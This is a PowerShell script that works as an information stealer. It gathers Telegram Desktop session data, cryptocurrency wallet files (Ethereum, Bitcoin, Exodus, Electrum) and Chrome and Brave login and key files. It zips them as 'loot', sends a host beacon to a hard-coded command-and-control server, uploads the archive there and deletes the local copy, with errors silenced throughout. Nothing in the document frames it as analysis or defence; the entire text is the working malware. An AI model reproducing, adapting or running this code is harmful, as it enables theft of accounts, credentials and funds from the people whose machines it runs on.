$ErrorActionPreference="SilentlyContinue"
$c2="http://48.102.176.8:8090"
$m="$env:COMPUTERNAME-$env:USERNAME"
$paths=@("$env:APPDATA\Telegram Desktop\tdata",
         "$env:APPDATA\Ethereum\keystore",
         "$env:APPDATA\Bitcoin\wallet.dat",
         "$env:APPDATA\Exodus\exodus.wallet",
         "$env:APPDATA\Electrum\wallets",
         "$env:LOCALAPPDATA\Google\Chrome\User Data\Local State",
         "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data",
         "$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data\Local State")
$items=@()
foreach($p in $paths){ if(Test-Path $p){ $items+="`"$p`"" } }
$z="$env:TEMP\loot_$($PID).zip"
if($items.Count -gt 0){ Compress-Archive -Path $items -DestinationPath $z -Force }
$beacon=@{host=$env:COMPUTERNAME;user=$env:USERNAME;os=$([System.Environment]::OSVersion.VersionString)}|ConvertTo-Json
try{ Invoke-RestMethod -Uri "$c2/up/tg-quickjs/$m/beacon" -Method Post -Body $beacon -ContentType "application/json" }catch{}
if(Test-Path $z){
  try{ Invoke-RestMethod -Uri "$c2/up/tg-quickjs/$m/tdata" -Method Post -InFile $z -ContentType "application/octet-stream" }catch{}
  Remove-Item $z -Force
}
